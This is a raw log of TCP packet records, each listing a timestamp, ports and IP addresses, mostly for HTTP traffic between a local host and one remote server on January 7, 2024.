Jan 7, 2024 05:30:09.620553970 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.620631933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.620676041 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.620819092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.620901108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.620938063 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.700699091 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.700716972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.700773001 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.704687119 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.704756021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.704823971 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.704860926 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.704894066 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.704932928 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.704967976 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.704994917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705034018 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.705040932 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705110073 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705180883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705189943 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.705410957 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705450058 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.705465078 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705540895 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705708981 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.705751896 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705936909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.705982924 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.706052065 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706500053 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706607103 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.706639051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706760883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706855059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706897020 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.706907988 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.706958055 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.707021952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.707204103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.707242012 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.707381964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.762984991 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.791589022 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791614056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791640043 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791671038 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.791678905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791692972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791718006 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.791919947 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791941881 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.791980028 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792006969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792021036 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792033911 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792042017 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792073011 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792566061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792582035 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792593956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792628050 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792699099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792752028 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792871952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792886972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.792927980 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.792994976 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.793014050 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.793100119 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.793270111 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.793284893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.793324947 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.793337107 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.872351885 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.875781059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.875818014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.875874996 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.875895977 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.875910044 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.875967979 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.882405996 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882446051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882479906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882492065 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.882560968 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882600069 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.882646084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882721901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.882766008 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.882770061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883135080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883172035 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.883192062 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883219004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883240938 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883260965 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.883265018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883306026 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.883328915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883353949 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883400917 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.883865118 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883915901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883929014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.883958101 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.964627981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.964648962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.964663029 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.964694023 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.964708090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.964741945 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.968924999 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.968975067 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969028950 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969042063 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969089985 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969105959 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969136953 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969149113 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969182014 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969341040 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969384909 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969435930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969521046 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969553947 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969680071 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969713926 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969747066 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969808102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969837904 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969868898 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.969878912 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969953060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.969986916 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.970017910 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.970048904 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.970084906 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.970685005 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.970707893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:09.970746040 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:09.970747948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054430008 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054476023 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054485083 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.054518938 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054562092 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.054635048 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054702044 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.054739952 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.054748058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.058610916 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.058653116 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.058672905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.058716059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.058758020 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.058881998 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059102058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059171915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059217930 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.059279919 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059314013 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.059359074 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059437037 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.059480906 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.059901953 CET	49755	9001	192.168.2.4	88.198.112.25
Jan 7, 2024 05:30:10.061057091 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061104059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061115026 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061157942 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.061161995 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061209917 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.061209917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061316967 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061392069 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.061431885 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061490059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061534882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.061645031 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061697960 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061711073 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.061753988 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.141918898 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.141969919 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.142003059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142076015 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142153978 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142174959 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.142549992 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142627001 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.142838001 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142909050 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.142949104 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.146547079 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.146796942 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.146843910 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.146847010 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.146914959 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.146960974 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.147047997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147162914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147211075 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.147252083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147322893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147375107 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.147391081 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147548914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147593021 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.147686958 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147819042 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147864103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.147870064 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.147943020 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.148041964 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.148085117 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.148185015 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.148232937 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.148273945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.148303986 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.148390055 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.189034939 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.189109087 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.189121962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.189167976 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.230252028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230338097 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.230499983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230530024 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230587006 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.230638027 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230727911 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230768919 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.230772972 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.235045910 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.235249043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.235264063 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.235359907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.235400915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.235444069 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.235469103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.235506058 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237131119 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237200975 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237256050 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237287045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237423897 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237468958 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237492085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237504959 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237549067 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237629890 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237724066 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237739086 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237770081 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237814903 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237850904 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.237890959 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.237972021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.238013983 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.238506079 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.238578081 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.238614082 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.238631964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.276519060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.276609898 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.276642084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.276711941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.276787043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.318499088 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318619013 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318631887 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318701982 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.318733931 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318861008 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318909883 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.318917990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.318955898 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.322355986 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322424889 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322437048 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322480917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322484016 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.322519064 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.322623014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322688103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.322726011 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.325371981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325422049 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325537920 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325566053 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.325587034 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325625896 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.325647116 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325720072 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325841904 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325882912 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.325946093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.325983047 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.326014042 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.326040983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.326210022 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.365859032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.365932941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.366019011 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.366080999 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.366147041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.366189957 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.366226912 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.366262913 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.366301060 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.406222105 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.406344891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.406361103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.406392097 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.406769991 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.406817913 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.406857014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.407035112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.407075882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.410921097 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.410988092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.411073923 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.411091089 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.411262035 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.411314011 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.411333084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412409067 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412472963 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.412475109 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412580013 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412627935 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.412800074 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412859917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.412897110 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.413220882 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.413345098 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.413472891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:10.413516045 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:10.413559914 CET	80	49775	104.21.26.173	192.168.2.4
